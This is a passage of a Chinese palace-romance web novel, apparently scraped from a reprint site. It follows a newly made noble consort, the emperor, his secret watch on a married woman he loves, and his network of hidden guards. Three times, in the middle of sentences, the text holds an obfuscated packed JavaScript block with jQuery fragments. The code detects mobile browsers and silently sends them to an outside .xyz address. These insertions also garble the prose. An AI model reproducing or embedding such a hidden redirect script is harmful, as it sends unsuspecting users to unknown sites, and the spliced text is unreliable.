因早逝而躲过了反王叛乱,不知是幸运还是不幸。 乌时晏是皇子时没有妻妾,登基后也未选妃,她们这批美人是乌时晏头一回封后妃。 加之反王叛乱,杀入京城将皇子皇孙杀了大半,乌时晏也没什么兄弟亲王,底下唯有一个刚及笄的云平公主,名唤乌时云。 因此后宫关系倒也简单。 锦榕姑姑道:“云平公主也到了出宫建公主府的年纪。” 将宫中的主要人物理清后,戚妤的笑容自在了许多。 她头上只压了两尊大佛,一个是太后,一个是乌时晏。 这么一闲聊,就到了黄昏,戚妤点头,晚膳如流水一般被盛了上来,将一个大桌子都放满了。 有肉有菜,有汤有甜食,丰盛的很。 戚妤用过后,便在锦榕的指点下将剩下的膳食分给了亲近的宫娥。 她每道菜都尝过,多的用了四五筷,少的仅用了一筷,因有宫娥布膳,这些膳食没有被碰乱,看着还像刚端出来的一样。 在锦榕的解释下,戚妤明白了,宫人每月的膳食有定例,不是顿顿吃肉,也没这么精细,御厨给她们这些妃嫔做的菜于这些宫人来说是难得的美食,平常都吃不到。 所以她不必觉得这么多膳食是浪费,也不必觉得将自己吃过再留给宫人是折辱了他们。 锦榕细心记下戚妤爱吃的,问道:“娘娘,陛下那边?” 戚妤看了眼天色,今天耽搁太久,用完膳已经暮色沉沉,殿内也点上了烛火。 但到底不如自然光线明亮,做什么都不便。 她揉了揉眼:“陛下今晚不会来,随本宫去洗漱。” 锦榕听到这话起先是担心,但听戚妤话中毫无异色,心下稍定,知道自己是多虑了。 陛下幽居深宫,对朝政都不太热衷,即便有了妃子,不来后宫可太正常了。 但这是娘娘被封贵妃第一日,不来就有些说不过去了。 明明陛下的做法,是喜欢娘娘的,不然也不会一出手不是妃,而是贵妃。 贵妃仅次皇后之下,都可以摄宫权,统辖六宫了。 锦榕示意一名宫娥上前服侍戚妤:“奴婢去准备娘娘明日面见太后娘娘的穿着。” 戚妤点了点头。 锦榕等戚妤离开,这才带着一名宫娥去准备衣裳,面见太后可不是小事,这衣裳选出来还得用熏香细细地熏,做到香而不腻。 她得亲自去盯着。 戚妤坐到铜镜前,宫娥给她摘掉发簪,梳顺头发,并打湿帕子,将她脸上的妆粉一点点洗掉。 这时,外殿传来动静,有宫娥高兴地进来禀报:“娘娘,陛下来了!” 戚妤眼中闪过茫然。 身侧的宫娥都紧张起来,拿着工具准备快速给戚妤画个淡妆。 戚妤按住一人的手:“不必,这样就好,随本宫出去吧。” 戚妤带着宫人去迎乌时晏。 乌时晏身着一身玄色衣袍,穿的并不厚,戚妤也搞不懂他是畏寒还是不畏寒。 她笑盈盈上前:“臣妾参见陛下。” 乌时晏点头,抬脚进入寝殿内。 戚妤跟在他后面,待进了寝殿,见乌时晏看向床榻的方向,于是转向宫人道:“你们先下去吧。” 昭阳殿的宫人道了声诺,便下去了。 有几个宫人是乌时晏带来的,闻言将头埋的更深了。 唯有皇帝的指令才指挥的动他们。 戚妤见此为难地看向乌时晏。 乌时晏也不知道自己今夜为什么会来,从见到戚妤笑的模样,他便不知该说什么好,只能寡言以对,待看到床,则是实实在在愣住了。 他摸过手上的扳指,还没等他想清楚,就见戚妤在挥退宫人,于是道:“你们下去。” 御前的宫人退下。 戚妤见宫人将寝殿的门合上,便看向乌时晏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127929|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他仍站在原地,不知在思索着什么。 乌时晏今夜会来,其实也不意外,乌时晏要将她捧为宠妃,若第一夜不来,那这宠爱未免太名不其实了, 但他身为男主,第一次肯定要留给女主的,而她作为女配,即便与男主同处一室也定要隔绝接触。 以便后来乌时晏狡辩:我和她什么都没发生! 可寝殿就一张床,虽然这床够大,若乌时晏先开口,她保不齐要打地铺。 毕竟人家是皇上,即便她没有九族,也得悠着点来。 戚妤斟酌后开口,带着慎重之意,她的声音缓而轻:“陛下,其实今早臣妾进宫时碰见了一位从太后那里离开的夫人,臣妾看见,臣妾的相貌与她格外相似,若是相处时间短暂了,臣妾觉得很容易就能将我们认混淆。” 乌时晏幽深的目光落到戚妤身上,定定地瞧着她。 戚妤心头半点不惧,但她也没对上乌时晏的视线,而是垂眸继续道:“只是那位夫人梳着妇人发髻,想来是有夫君……若臣妾是沾了那位夫人的恩惠,才得以入宫并得陛下看重,那臣妾心中唯余感恩,并不敢肖想陛下。如果今夜陛下来昭阳殿并不情愿,而是为了给臣妾脸面,不如我们隔床而睡?” 她看见乌时晏的手悄然握紧,又慢慢放开。气息倒是从头到尾都稳得住。 她知道,赌对了。 话落,戚妤抬头,眼睛睁的格外真诚,期待地看向乌时晏。 宛如左右算计,最终目的只是要睡床的小猫。 乌时晏的唇角弯起微不可见的弧度,并未理会前头说的一大堆话,而是问:“何谓隔床而睡?” 戚妤顿时就精神了,她到床边,跪在床上,用一条长长的被褥将床分成两半,两边分别放着被子。 特地将一条粉色锦衾蝴蝶绣被放到床里。 戚妤从床上下来,又恢复了老实:“就是这样,臣妾睡床里。” 乌时晏可半点不觉得戚妤老实,观她轻松恣意的模样就知道了。 不过这点倒相当难得,很大一部分人在他面前都是战战兢兢不成语调,话也不会说了,路也不会走了。 就连赵婉仪,面对他时浑身的冷刺都竖了起来,几乎从未与他相视过。 他很难窥见赵婉仪眼底的色彩。 乌时晏点头:“这样就好。” 无论是现在打道回府,还是再议怎么睡觉都显得无比麻烦。 这样就好。 乌时晏不再纠结。 戚妤弯了弯唇,提议道:“夜深了,臣妾唤宫人进来服侍陛下换衣?” “不必,朕自己来。” 戚妤将位置留给乌时晏,她则去屏风后换上寝衣,等出来时乌时晏已经坐在床上,换了寝衣的他更显高大,骨架也大,但附着匀称的肉,并不难看,穿着宽大衣袍时因为身高看着瘦削,其实并不瘦,力气估计也不小。 他的五官有些深邃,目光锋利,戚妤从未见乌时晏笑过,这大抵是他看着沉郁的原因。 戚妤将灯架上的灯一个个灭掉,留下两盏照明,绕过乌时晏上了床里。 她将自己盖好,才轻轻柔柔来了一句:“陛下安寝吧。” 乌时晏也躺了下来。 头一次身边有人,即便隔着不近的距离,他仍觉得会睡不着。 耳边轻浅的呼吸声渐渐有了规律,乌时晏不知不觉间闭上了眼,一夜好眠。 4. 第 4 章 早上天还没亮,乌时晏便起身了,戚妤察觉到动静,努力睁了睁眼,跟在他身后下了床。 乌时晏看了她一眼,什么都没说。 宫人鱼贯而入,捧着衣裳为乌时晏穿衣梳发,佩戴衣饰,戚妤站在一旁,递着东西。 屈膝送走了乌时晏,戚妤问过锦榕,得知去见太后不必这么早,便回床上睡了个回笼觉。 锦榕见戚妤睡到了床里,床上两条被子宛如楚河汉界,心中升起异样,但识趣的什么也没问。 戚妤再次醒来,是被锦榕轻轻拍醒的。 等一切收拾妥当,带着宫人出了昭阳殿,天刚微微亮。 太后住在长信殿,戚妤走过昨天的长长宫道,到长信殿前时,碰见了周妙茵、吕舒、邓月槐三人。 三人朝戚妤行礼,她们特意打听过昭阳殿的消息,自然知道戚妤被封贵妃,不仅有封号,昨晚陛下还宿在了昭阳殿。 不过她们刚入宫,对陛下去哪儿还没有实感。 对戚妤有嫉妒,但更多是因为位份。 周妙茵问过她身边的宫娥,知道贵妃与美人除了份例天差地别外,一些贵重东西只能贵妃佩戴,而美人戴就逾矩了。 且戚妤身为贵妃可以一人独占一个宫殿,她们身为美人,就只能三个人挤在披香殿。 戚妤道了声平身,问她们:“可要和本宫一起去见太后?” 邓月槐点了点头:“妹妹们在这里就是要等娘娘一起。” 她比起昨日疏朗了许多,应该是心中的郁气散了。 周妙茵起身后,才清楚地看到戚妤今日的模样,之前她身着粗布麻衣仿佛一场错觉,明明前几日还是坐在马车上人人都能戏几句的人,现在身上最不起眼的绣线都泛着亮光,整个人气度不凡,看着高不可攀。 视线也只在邓月槐出声后在她身上落了一下。 周妙茵眼中闪过迷茫——这还是她认识的戚妤吗? 戚妤进入长信殿时,太后一身紫衣从殿后走了出来。 戚妤领着三人给太后行礼,太后仔细地瞧着她,许是先前就得到消息,因此这时看见一个这么相似的人,惊讶虽有,但表情遮掩的很好。 并没有让周妙茵三人察觉到太后对戚妤特殊的目光。 “瑜贵妃平身,三位美人也起来吧。” 太后看向芳姿,芳姿姑姑在戚妤进来后就默默观察着太后,裴夫人还是她昨天送走的,对各中事自然心知肚明。 她是真没想到昨天遇到的美人中真飞出了一只凤凰。 太后这会儿估计也在苦恼,是陛下真放弃了裴夫人,还是说赝品只是赝品,仍对裴夫人念念不忘。 太后拿捏不准,芳姿姑姑特别理解,毕竟谁会给赝品一个贵妃之位?若之后裴夫人进了宫,这怎么算?不是成心给人添堵么。 收到太后的示意,芳姿姑姑上前扶戚妤落座。 既然摸不清陛下的心意,那瑜贵妃和裴夫人就谁也不能得罪。 太后压下心底的震惊,极尽平常地问起戚妤初进宫可有什么不便。 戚妤弯唇,一一答了。 太后笑着说:“在宫人没什么不好哀家便放心了,昨晚皇上是宿在了昭阳殿?” 戚妤羞涩地低头:“是在昭阳殿。” 太后笑容不变,边夸边引着戚妤透露些与皇上的相处。 整个早上,太后的心神都放在戚妤身上,觉得差不多将一切都打探好了,这才按照惯例问了几句周妙茵三人。 周妙茵三人一连两天见到了天底下最尊贵的两人,很是受宠若惊,因此在太后开口询问时,都小意出声哄着太后。 等到她们告退时,殿内的气氛都是其乐融融的。 出了长信殿,戚妤婉拒了芳姿姑姑相送的请求,见芳姿回太后身边,这才收回了羞涩的模样。 并与周妙茵三人分别。 戚妤自然知道太后方才的试探是为何意,因此并不在意,反正太后会在她和赵婉仪之间寻找一个平衡,一个不得罪皇上的平衡。 戚妤回昭阳殿用了早膳,给锦榕补上昨日的赏钱后,不急于接手昭阳殿的账册,而是让锦榕去寻一个可以教人的女师父。 虽然她看大燕的字个个都觉得眼熟,但真要她辨认,她是辨认不出来的。 更何况,光认出来还不够,还得会写。 戚妤可不想一手字让人觉得不漂亮,所以找女师父迫在眉睫。 除此之外,她放在马车上的行礼昨日就被送到了昭阳殿,昨天没顾得上,今天倒可以好好整理一下。 戚妤的包袱不重,多放着衣物,还有一个木匣。 她将木匣抱出来,打开后,一百两黄金换成的一千两银票还好好的放在里面。 锦榕见此悄悄离开,再回来后抱了一个红漆雕花木匣,比戚妤手上的雅致考究许多,且锁头巧妙,很难破开。 锦榕姑姑道:“娘娘,用这个木匣装。” 戚妤接过匣子,边看边道:“姑姑太体贴了。” 她当下就将银票换到了这个匣子里,然后放好,这是她的私房钱。 虽然离开皇宫后她很快就能回家,但钱这东西么,自然是多多益善。 不久后,李昌到昭阳殿,求见她。 戚妤让人将李昌带到暖阁,她则先一步至此。 暖阁很小,在这里说话也不担心被人听到。 李昌见到戚妤,先是道:“奴才见过瑜贵妃娘娘,娘娘万安!” 戚妤亲自沏了两杯茶,她道:“快快请起。”然后让人将茶递给李昌,并让人给李昌搬个凳子。 陛下面前的红人,分量可不轻,虽不至于让她这个贵妃亲迎,但顺手给个体面何乐而不为呢? 李昌果然觉得舒坦,当下道明来意:“娘娘,小李子那人所做之事确实不地道,奴才已经将他所收的贿赂列了个账册,娘娘看看,可有什么疑问?” 戚妤接过账册,翻看起来,单单小李子一人去民间采选美人,从美人身上和其他地方就搜刮了五千两纹银。 戚妤震惊的无以复加。 小李子可仅是一名得李昌看重的太监啊。 当然,其中不乏美人们主动给的,光周妙茵一人除了将自己的一百两黄金如数奉上后,又给了小李子八百两纹银,其他美人给的少,可也不下一百两。 怨不得小李子昨日在偏殿会为周妙茵说话,也怨不得明知她特殊,她的马车还是被挪到最后面了。 对比起来,戚妤觉得自己真是一毛不拔的铁公鸡。 不过小李子栽跟头还要归咎于明明他们的身份已经反转了,小李子仍一副有恃无恐的样子。 就算没有李昌动手,戚妤也会亲自找出小李子的错处。 李昌今日来自然不是让戚妤看看小李子从中赚了多少,而是道:“娘娘,这五千两白银奴才已经换成银票,如今全数奉上,小李子也会得到应有的教训,您看这事……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127930|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李昌将银票整整齐齐码在桌上。 戚妤没有看向桌子,笑道:“自然算完,有劳公公了。只是这些银票您还是收回去吧。” 李昌起身,同样没有将视线放在银票上,往后退了一步:“娘娘放心收,这些银票不算什么。” 说完便请辞离开,不给戚妤拒绝的机会,戚妤只好让宫娥送李昌一段路。 她则看着这些银票有些犯愁。 戚妤思索了一会儿,吩咐道:“这些银票就搁在这不必收,让人无事不要来暖阁,今日之事也不要传出去。” 宫人称诺。 没两日,锦榕就找好了女师父,戚妤将早上和下午的空闲时间全都利用了起来。 锦榕说的秋千和纸鸢也只能等将字认的七七八八再玩。 太后只是太后,戚妤她们不需要每日都去请安。 因此即便太后传了裴夫人进宫,戚妤也没有和裴夫人碰面。 不过正常请安,她们也是碰不到面的,请安时辰是在天刚微微亮,而女眷入宫,则只会在上午到。 乌时晏连着几日没来昭阳殿,锦榕看在眼里,忧在心里,让人悄悄打探了皇帝的行踪。 这日,戚妤在练字,锦榕姑姑进来道:“娘娘,陛下刚去了长信殿,您要不要去看望一番太后?” 戚妤摇了摇头。 大抵是赵婉仪进宫了,不然乌时晏也不会去太后那里。 她要是去,那可真是太热闹了。 戚妤问:“长信殿可有旁人在?” 锦榕道:“太后娘娘传了裴夫人进宫,娘娘您或许不知道这个裴夫人……” 戚妤笑着听她讲述关于赵婉仪的事。 “奴婢虽未见过裴夫人,但听说裴夫人长的极好,但在奴婢心中,没人能比得过娘娘。” 戚妤心里软的一塌糊涂:“姑姑也是最好的姑姑。” 话音刚落,便有宫人禀报,佩玖回来了。 佩玖被领进殿内,戚妤将她上上下下看了一遍,见无碍,又问了几句,得知她那日在温室殿外跟着一个太监离开后就被交由一名姑姑学宫规,没受什么苦楚便放心了。 佩玖抬头看了一眼戚妤。 佩玖觉得自己的变化就很大了,整个人沉稳了很多,不再咋咋唬唬,但见到戚妤才明白自己的变化还算小。 戚妤将佩玖交由锦榕带着。 毕竟是在宫外就跟着她的人,且佩玖没有家人,真放出宫还不知道在哪儿为奴为婢,不如做昭阳殿的大宫女,出了昭阳殿也有人给三分颜面。 戚妤见到佩玖,觉得暖阁那叠银票可以过明面了,便对锦榕姑姑道:“姑姑,陛下从长信殿离开,可以派人以本宫的名义将陛下请来昭阳殿。” 锦榕笑弯了眼,连忙称诺,不给自家娘娘改变主意的机会。 她可是最盼着贵妃娘娘有一颗争宠的心。 佩玖随锦榕姑姑退下,离开前她发现戚妤身边一片静谧,宫娥都尽量不发出声音。 还未等她询问,出了殿,锦榕姑姑就指点她道:“娘娘喜静,不喜人废话。” 佩玖眨了眨眼,隐约知道戚妤一路上为什么对她和其他美人爱答不理的。 能入选的姑娘,平白得一百两黄金,可以说是几辈子修来的福气,自然按耐不住心中的雀跃,与人在一起就爱说说话。 戚妤若喜静,能理她们才怪,不发脾气都是她涵养好了。 不,现在应该称娘娘了。 5. 第 5 章 乌时晏午后方至昭阳殿。 戚妤上前行礼,扫了一眼发现李昌并不在他周围,含笑屈膝道:“臣妾参见陛下。” 乌时晏抬手,两人一起进入殿内。 戚妤跟在他后面,见他自进入殿内后一言不发,便问:“陛下到昭阳殿却不看臣妾一眼,是因为今日见了赵姑娘?” 乌时晏看向她,眉头皱起,此时他也发现戚妤早早挥退了伺候她的宫人,而他带来的人,侍立在外间。 自然这句话只有他们二人听到了。 他摩擦起手上的扳指。 戚妤见他如此反应,不由一笑:“臣妾失仪,和陛下开了句玩笑。” 乌时晏扫了她一眼:“无碍。你今日找朕,所谓何事?” 戚妤抿了抿唇,脸上的笑意收了几分,眉间也带了一抹愁绪,正色道:“本来不想让陛下烦心,但这件事臣妾实在拿不定主意,便只好让人去请来了陛下。” “请陛下随臣妾去暖阁。” 路上,戚妤将小李子的事简单跟乌时晏说明了,当然,有关李昌的,自然一句带过。 李昌让她放心收,她却不敢放心,李昌是多少年的老狐狸了,即便相互给了笑脸戚妤也仍是谨慎,怕李昌给她挖坑。 戚妤自始至终都没想过跟李昌对上,提起他自然会模糊些事。 但乌时晏不傻,他能稳坐帝位,让天下呈现一副海清河晏的盛景,对各方势力的平衡以及人心的把控都称得上绝佳。 小李子有问题,李昌在此之前真的不清楚吗? 将银两送到戚妤手上,是拉拢戚妤还是拿捏戚妤一个把柄,亦或者两者都有? 权宦和后妃牵扯在一起,很容易就能在宫中织出一张密网,历朝历代的皇帝都不会允许这种事发生。 乌时晏稍微一思索,便明白了戚妤的态度。 她不想与李昌有利益瓜葛,不想卷入这些东西。 五千两银票于她而言着实有些烫手,这才想在他面前过个明路。 银票还在桌子上好好放着,戚妤道:“这银票在昭阳殿放着臣妾心里不安稳,不如由陛下收走?” 乌时晏知道这是戚妤百般思量的结果,不然也不会踌躇这几日了。 因此并不过分为难道:“此事朕心里有数,这些银票你拿着。” “臣妾受之有愧。”戚妤自然是拒绝。 乌时晏见此摊手:“那朕也没法拿走。” 他身为皇帝,双手拿银票或让旁人收走算怎么回事? 五千两于旁人来说很多,但对他来说不过是私库里的一件珍玩。 戚妤闻言唇角不禁扬起,顿觉乌时晏生动了许多。 有一部分是他不要银票的大方,很能博得好感,更大一部分是让人觉得他沾上了活人味。 戚妤第一次见乌时晏时,只觉得他目光阴鸷,手也冰凉,有一种苍白鬼气。 但几次相处,发现他并不凶残,也不漠视人命,只是古怪了些,不过也无伤大雅。 他们只不过是客客气气的合作关系,相互各取所需。 戚妤这次没拒绝,愉悦道:“多谢陛下。” 虽然这钱没地方花,可谁会嫌钱多呢。 “陛下,李昌公公那里?”戚妤透着些期待看向他。 毕竟她可算得上不识趣了,竟然罔顾了李昌的好意。 若乌时晏要在她和李昌之间搞矛盾,那她也是没有丝毫办法的,一个贵妃一个宦官自然要处在对立面上才最符合皇帝的利益。 不过这也会给戚妤敲响警钟,该怎么摆正她与乌时晏的关系。 之前她只觉得当个工具人就好,可进宫后她感觉到了几股势力在她身边角逐,她身边的宫人不都是锦榕姑姑那样可信。 她想要保全自己,保全锦榕,保全佩玖,就势必会在宫中与人交锋。 乌时晏的态度则至关重要。 乌时晏几乎没有思考道:“朕不会给李昌说你的坏话。” 戚妤的心思太好懂了,或者说她巴不得将自己的意思表达清楚。 戚妤轻舒一口气,心里有泛起激动,因为双方的坦诚,毫无疑问,两人的关系拉近了一点点。 虽然乌时晏喜欢有夫之妇,但凭着他今日的态度,日后他与赵婉仪陷入感情风暴,她一定默默推波助澜。 戚妤问了一个问题:“赵姑娘与裴大人感情好吗?” 暖阁陡然陷入一片冷寂,风停了,光静了,默默照在人身上,却驱不散身上的寒意。 戚妤知道自己说错话了,乌时晏不回答,不正证明了这是往他心口上扎,赵婉仪与裴谨夫妻关系必然是极好的。 乌时晏一字一顿道:“琴瑟和鸣。” “你若是见到了他们相处的场面,定然也能说出朕这句话。” 许是从未有人和乌时晏谈埋在心里的这些东西,他此时忍不住地多说了一些:“赵婉仪出行时,裴谨必会亲自相随,次次不落,他们没有一次争吵生气,也没有向旁人道过一次对方的不满,甚至于赵婉仪还会帮裴谨改文章。” 帮改文章,这是多少亲密夫妻都无法做到的事。 意味着两人才华相当,品味相投,互相欣赏。 怪不得乌时晏现在踌躇没有对赵婉仪伸手,实在是人家夫妻感情好,破坏起来太罪恶了。 且他还有着能压过爱欲的心中那根线。 一边是忠心的臣子,一边是倾慕已久的臣子之妻,他实难做决断。 若裴谨坏些倒好,可观乌时晏没有丝毫中伤这个情敌,便知道裴谨的品行上佳。 戚妤眨了眨眼,透着十足的八卦欲:“陛下怎么知道的这么清楚?” - 乌时晏冲动了。 戚妤不知该说什么好,她那句话一落,便收到了乌时晏思量的目光。 紧接着,乌时晏带她去了温室殿,温室殿有直通宫外的暗道,里面一片漆黑,是乌时晏身边不知道什么时候出现的,如影子般的暗卫将暗道里的蜡烛引燃。 她跟着乌时晏一路走,最后出现在一间房间里,身边没带任何宫人,有的只是再次消失在视野中的暗卫。 这里隐隐能听到外面的热闹,乌时晏推门而出,戚妤紧随其后。 这是一间茶楼的后院,鲜少有人到这里,但这里却可以听到茶楼里的动静。 不必说,茶楼是乌时晏的产业。 因为他们在暗道里耽搁的时间久,现在天边已是落日余晖的景象。 “跟上。”乌时晏开口。 戚妤一边环顾四周,一边随乌时晏进了茶楼,来到二楼的一间僻静房间。 小二将门合上退下。 他们来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127931|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到窗边的位置,坐下,乌时晏朝下看去。 戚妤顺着他的目光落到医馆前的马车上,即便离她有很长的距离,但她仍凭着极好的眼力看到了马车上挂着的木牌,上面正落着一个裴字。 有一个丫鬟呆在马车边,是赵婉仪的贴身丫鬟。 上次戚妤在宫道上见过她。 不用想,赵婉仪现在应该在医馆中。 戚妤默默看了乌时晏一眼,憋了一肚子话却不知从何说起,索性什么也不说了,静静观察着。 她拿起一杯茶水慢饮,静等着赵婉仪出现。 乌时晏这般娴熟,应是无数次坐在这个位置,一次又一次积攒着情愫。 “她每十天就会来医馆拿药,这个时候裴谨总在她身边,并且和她一起进医馆。”乌时晏阴郁道。 从小伺候的贴身丫鬟都留在马车边了,可裴谨却进去了,足见裴谨比赵婉仪的贴身丫鬟还要清楚赵婉仪的身体,且夫妻感情亲厚。 戚妤也总算明白了乌时晏通身的阴鸷味从何而来,日日盯着人家夫妻,他不是男鬼谁是男鬼? 这时,医馆走出两人,一男一女,看着颇为亲密,戚妤看去,只从身形便判断出了那女子正是赵婉仪。 说来奇怪,她与赵婉仪不仅相貌相似,身姿也相仿。 可能细微处才是不同的。 等两人走到马车处,戚妤才看清了裴谨的样貌。 如果说乌时晏是块冷玉,那裴谨就是一块不冷不暖的白玉,光是站在那儿,就自有一种公正,是竹,是君子,卓尔不群凌立着。 身上是清雅的贵公子气质。 而他的模样,也是俊逸不凡,即便在黄昏下的京城的道路边,做一个陪衬的角色,亦十分吸睛。 裴谨在一旁看着赵婉仪上了马车,才扶住车壁,准备上马车时,忽然往茶楼的方向看了一眼。 戚妤偏开头。 而乌时晏不知何时已经收回了视线,他的位置在下面根本看不到他。 唯独她这里的位置不太好。 马车边的裴谨眯了眯眼,月鹭询问:“姑爷,怎么了?” “无事。”裴谨的声音如细流的泉水般清润,他矮身上了马车。 马车内一片安静,两人相对坐着,面上俱没什么笑意。 方才的插曲让戚妤泛起嘀咕,再次抬头时,她与乌时晏默契地错开视线。 戚妤忽然想起什么:“咦,裴大人不扶赵姑娘上马车吗?” 方才稍微扶赵婉仪一下的是月鹭,没道理月鹭都注意到的小事裴谨却没注意到。 裴谨能和赵婉仪形影不离,应当是个细心的人。 可他却没有扶一把自己的妻子。 乌时晏眼中的郁郁稍稍变淡,他道:“小事上自有丫鬟照料。” 既然都叫贴身丫鬟,自然是主子有丁点需求都能领会,而即便有了丈夫,一些事还得贴身丫鬟来做才最贴心。 夫妻情分应当不必表现在这上面。 他可曾见过赵婉仪对裴谨有分毫不耐?没有。 这般想着,乌时晏笃定道:“正常。” 戚妤愣愣地点了点头。 裴府马车咕噜噜滚着车轮从茶楼下经过,车夫鞭着马,一帝一贵妃止了声,又若无其事地饮起茶来。 观察人家夫妻,总归有些心虚。 6. 第 6 章 虽然赵婉仪与裴谨离开了,但乌时晏却再次陷入自己的思绪中。 戚妤未受影响,托着下巴看起附近的热闹。 她进京城的那日马车是直接停在了宫门口,对别人稀松平常的坊市百态,对戚妤来说却有意思极了。 茶楼的地段很好,周围不仅有医馆药铺,书斋酒楼,还有绣坊成衣,金玉首饰等铺子。 乌时晏大抵是十天来一次,那她下次不就可以再跟乌时晏出来? 届时也可以在附近逛一逛,买点宫外的东西。 只可惜这次出来没带银子,不然也不会在这慢慢饮茶了。 “我们走吧。”乌时晏收回思绪,定了定神,道。 戚妤应好。 两人从茶楼下来,步入街上,最终停在一辆不起眼的马车前 戚妤低声问:“陛下,我们不回宫吗?” “今日太晚,回宫会耽搁不少时间,朕在京中有宅子。” 戚妤哦了一声,在乌时晏的示意下提起裙摆登上马车。 乌时晏看着戚妤踩着板凳上车,女子的衣裳略微繁琐,她需要时时注意脚下,就显得身子没那么稳,会让人下意识泛起担忧,忍不住伸手扶一把。 尤其是那相似的侧脸。 乌时晏握住拳,按住了这种冲动。 戚妤的话还是在他心中引起了涟漪,他不由苦苦思索起赵婉仪与裴谨的相处日常,好像没见特别亲密的画面。 当然,也许是他们要亲密时,他已经受不了撇开了脸,这才连一次亲吻的画面都没在脑海里浮现。 戚妤没觉得有什么不稳,敏捷地上了马车后,寻了一位置坐下。 而后乌时晏弯腰上来。 马车往方才裴府马车离开的方向驶去。 片刻后,马车停到一宅子面前。 戚妤下了马车,将这个宅子的邻里扫了一遍,发现整条街就这一个宅子。 不由感叹乌时晏的财大气粗。 管家听到动静,先一步出来,身后随着几名穿着简便的护卫,虽衣饰简单,但仍能看出都是身强力壮的青年。 戚妤随乌时晏进入宅子。 宅子内很静,也没有什么花花草草,穿过一拱门,本该种些花草的地方全铺上了方砖。 很快,管家安排了一名沉默寡言的女子跟在戚妤身后。 女子又高又瘦,垂着首,静默不语,她的脸很普通,扔在人群中都不起眼的那种。 但戚妤却感觉她很轻盈,走起路来没有脚步声,跟猫一样,所以特意细细瞧了她一眼。 戚妤已经发觉这栋宅子不同寻常,没有普通的小厮丫鬟,就连管家都像是从行伍中出来的。 对待乌时晏,习惯性的听吩咐行事。 乌时晏道:“这是贵妃,给贵妃安排一间厢房。” 管家称诺。 因厢房还需准备,戚妤仍跟在乌时晏身边,他们到了花厅,坐下后,戚妤察觉到乌时晏身边隐在暗处的人气息变了。 戚妤觑了一眼房檐。 本来跟他们通过暗道出来的仅有一名暗卫,一路不远不近跟着他们的马车,并进了宅子。 不过到了花厅,那名暗卫就换人了。 于是在管家来说厢房准备好后,戚妤识趣的告退了。 戚妤有个猜测,恐怕这个宅子,就是乌时晏培养暗卫的一处地方,就连她身边随侍的女子也是名暗卫。 管家将她们带到房间就退下了。 戚妤看向她:“你叫什么名字?” 跟在戚妤身边的女子诧异抬眼,须臾她道:“我叫林七。” “你姓林,家里行七?” 林七摇了摇头:“我是第七个姓林的。” 戚妤笑道:“我们好有缘,我名字里也有一个qi字。” 林七不说话了,她不习惯寒暄。 戚妤也发现了,不过林七有问必答,基本她问什么林七能说的都会说,不能说的就闭口。 因此聊了几句,戚妤知道了,这个宅子就坐落在裴府附近,跟裴府也能称得上邻居的关系,宅子的后面便是裴府,只隔了一面墙,墙后面就是裴府的花园,距离女眷的院落也近的很。 这个宅子很大,估计人也不少,但来去无踪,因此显得安静。 怪不得乌时晏能知道赵婉仪给裴谨改文章,估计赵婉仪附近就有暗卫,将赵婉仪的大致行程抄录在了纸上报给乌时晏。 因为宅子安静,戚妤没觉得不好,反而感到自在。 她问林七:“林七姑娘,我要沐浴怎么办?” 林七便消失去给她弄来了热水。 另一边,如戚妤所料,她刚走,乌时晏便打了个手势,房檐上的暗卫翻身落地,却没发出丝毫声响。 “她发现了你。”乌时晏道。 准备起身的暗卫身体一僵。 乌时晏没准备深究,他将戚妤带来就知道会发生什么,不过戚妤是个聪明人,一点就透,并不需要他担忧什么。 他揭过此事:“轻功再好好练练。” 暗卫这才缓了口气,站起来,将一张小纸条交给乌时晏,上面详细地记载了赵婉仪的一天做了什么。 不过这上面记的都是有丫鬟在的情况的下,至于赵婉仪与裴谨的房中之事,则只字未提。 毕竟若他要记下,乌时晏也是不允的。 赵婉仪的一日很平淡,赏花,看书,进宫面见太后,出府去医馆,回府用膳,接着房内便熄了灯,暗卫也回了这个宅子内。 这次乌时晏看的比往常都要久,裴谨一有空就会陪在赵婉仪身边,时时刻刻黏在一起,光从纸条上看,这就是一对如胶似漆的夫妻。 他并未发现什么,将纸条放下,这才处理起其他暗卫带回来的消息。 从前的皇帝只用暗卫来保证皇室成员的安危,但到了乌时晏,他接手暗卫后就需要平定天下,而他本人也不需要暗卫保护,甚至皇室成员都寥寥的可怜,因此他就将暗卫分散各处用来打探消息,在这期间暗卫进一步扩大。天下一乱,吃不饱饭的人就多了,根骨好的因为各种原因加入了暗卫。 后来天下安定,他仍没有子嗣,就将暗卫当作暗哨,分散在大臣家中。 